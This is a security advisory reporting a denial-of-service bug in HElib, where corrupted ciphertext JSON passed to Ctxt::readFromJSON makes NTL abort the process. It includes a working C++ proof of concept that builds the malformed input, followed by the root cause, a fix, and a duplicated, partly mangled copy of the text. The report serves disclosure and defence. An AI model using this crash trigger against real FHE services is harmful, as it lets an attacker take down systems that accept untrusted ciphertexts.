HElib: Ctxt::readFromJSON aborts on malformed serialized ciphertext JSON (DoS)
Reporter: afldl
Date: 2026-07-24
Affected: HElib 2.2.0 (NTL 11.5.1), and likely earlier versions
Severity: Low (DoS; no memory corruption demonstrated)
CWE: CWE-755 (Improper Handling of Exceptional Conditions)
Summary
Feeding a field-corrupted serialized ciphertext JSON to the public API helib::Ctxt::readFromJSON causes NTL to throw SetLength: can't change this vector's length and call abort(), terminating the entire process. This is not a catchable C++ exception — the caller's try/catch cannot intercept it. In deployments where serialized FHE ciphertexts come from untrusted peers (threshold FHE, FHE-as-a-service, cross-party ciphertext exchange), this is a remotely triggerable denial of service.
The same JSON deserialization framework is used by PubKey::readFromJSON and SecKey::readFromJSON, which are likely affected as well.
Root cause
HElib is built on NTL, which handles fatal errors (e.g., calling SetLength to change a fixed-length vector to a different length) by calling Error() → abort() rather than throwing a C++ exception. Ctxt::readFromJSON parses dimension/size fields from the JSON and uses them to construct/SetLength NTL vectors. When those fields are corrupted to values inconsistent with the context's fixed dimensions (phim, etc.), NTL triggers a fatal SetLength error and aborts.
Proof of Concept (self-contained)
Build against HElib 2.2.0 + NTL 11.5.1 (e.g. vcpkg install helib or build from source):
// repro_helib_abort.cpp
// g++ -std=c++17 -O1 repro_helib_abort.cpp -lhelib -lntl -lgmp -o repro && ./repro
#include <helib/helib.h>
#include <sstream>
#include <iostream>
int main() {
// Build a minimal BGV context
helib::Context context(
helib::ContextBuilder<helib::BGV>().m(4095).p(131).r(1).bits(120).c(2).build());
helib::SecKey sk(context);
sk.GenSecKey();
const helib::PubKey& pk = sk;
// Create a valid ciphertext and serialize to JSON
const helib::EncryptedArray& ea = context.getEA();
helib::Ptxt<helib::BGV> ptxt(context);
for (long i = 0; i < ea.size(); i++) ptxt[i] = (long)(i % 131);
helib::Ctxt ct(pk);
pk.Encrypt(ct, ptxt);
std::stringstream ss;
ct.writeToJSON(ss);
std::string valid_json = ss.str();
// Corrupt the JSON: change the first numeric array length to an inconsistent value.
// In the valid JSON, "parts":[{...}] contains DoubleCRT coefficient arrays whose
// length must match phim (from m=4095). Changing any of these array lengths to a
// different value triggers NTL's fatal SetLength error.
//
// Minimal corruption: find the first '[' after "map": and truncate/extend it.
// Here we simply truncate the first coefficient array to 3 elements (vs ~1920 expected):
size_t map_pos = valid_json.find("\"map\":[[");
if (map_pos == std::string::npos) {
std::cerr << "Cannot find map array in JSON\n";
return 1;
}
// Find the closing ']' of the first inner array
size_t arr_start = valid_json.find('[', map_pos + 7);
size_t arr_end = valid_json.find(']', arr_start);
// Replace the inner array content with just 3 elements
std::string corrupted = valid_json.substr(0, arr_start + 1)
+ "1,2,3"
+ valid_json.substr(arr_end);
// Feed corrupted JSON to readFromJSON — expect clean rejection
// Actual: NTL abort() with "SetLength: can't change this vector's length"
std::cout << "[*] Feeding corrupted ciphertext JSON to Ctxt::readFromJSON..." << std::endl;
std::cout << "[*] Expected: catchable exception (std::invalid_argument / helib::Error)" << std::endl;
std::cout << "[*] Actual (bug): NTL fatal error -> abort(), exit code 134" << std::endl;
std::stringstream corrupt_ss(corrupted);
try {
helib::Ctxt ct2 = helib::Ctxt::readFromJSON(corrupt_ss, pk);
std::cout << "[!] No exception — unexpected" << std::endl;
} catch (const std::exception& e) {
std::cout << "[*] Caught exception (correct behavior): " << e.what() << std::endl;
return 0;
}
// If we reach here without abort, the bug is not present
std::cout << "[*] No crash — not vulnerable" << std::endl;
return 0;
}
Expected output (correct behavior): a catchable exception is thrown.
Actual output (bug):
[*] Feeding corrupted ciphertext JSON to Ctxt::readFromJSON...
[*] Expected: catchable exception (std::invalid_argument / helib::Error)
[*] Actual (bug): NTL fatal error -> abort(), exit code 134
SetLength: can't change this vector's length
Aborted (core dumped)
Exit code 134 = SIGABRT. The caller's try/catch never fires because NTL calls abort() directly.
Suggested fix
- After parsing dimension/size fields in
readFromJSON, validate them against the context's fixed dimensions (phim, ciphertext component count, etc.). On mismatch, throw a catchable HElib exception (helib::Error / std::invalid_argument) instead of letting NTL abort.
- More generally, establish a "validate-before-construct" boundary for all deserialization entry points handling untrusted input, ensuring no NTL fatal error escapes as
abort().
Credit
Reported by zhangph (afldl), 2026-07.
HElib: Ctxt::readFromJSON aborts on malformed serialized ciphertext JSON (DoS)
Reporter: afldl
Date: 2026-07-24
Affected: HElib 2.2.0 (NTL 11.5.1), and likely earlier versions
Severity: Low (DoS; no memory corruption demonstrated)
CWE: CWE-755 (Improper Handling of Exceptional Conditions)
Summary
Feeding a field-corrupted serialized ciphertext JSON to the public API
helib::Ctxt::readFromJSONcauses NTL to throwSetLength: can't change this vector's lengthand callabort(), terminating the entire process. This is not a catchable C++ exception — the caller'stry/catchcannot intercept it. In deployments where serialized FHE ciphertexts come from untrusted peers (threshold FHE, FHE-as-a-service, cross-party ciphertext exchange), this is a remotely triggerable denial of service.The same JSON deserialization framework is used by
PubKey::readFromJSONandSecKey::readFromJSON, which are likely affected as well.Root cause
HElib is built on NTL, which handles fatal errors (e.g., calling
SetLengthto change a fixed-length vector to a different length) by callingError()→abort()rather than throwing a C++ exception.Ctxt::readFromJSONparses dimension/size fields from the JSON and uses them to construct/SetLengthNTL vectors. When those fields are corrupted to values inconsistent with the context's fixed dimensions (phim, etc.), NTL triggers a fatalSetLengtherror and aborts.Proof of Concept (self-contained)
Build against HElib 2.2.0 + NTL 11.5.1 (e.g.
vcpkg install helibor build from source):Expected output (correct behavior): a catchable exception is thrown.
Actual output (bug):
Exit code 134 = SIGABRT. The caller's
try/catchnever fires because NTL callsabort()directly.Suggested fix
readFromJSON, validate them against the context's fixed dimensions (phim, ciphertext component count, etc.). On mismatch, throw a catchable HElib exception (helib::Error/std::invalid_argument) instead of letting NTL abort.abort().Credit
Reported by zhangph (afldl), 2026-07.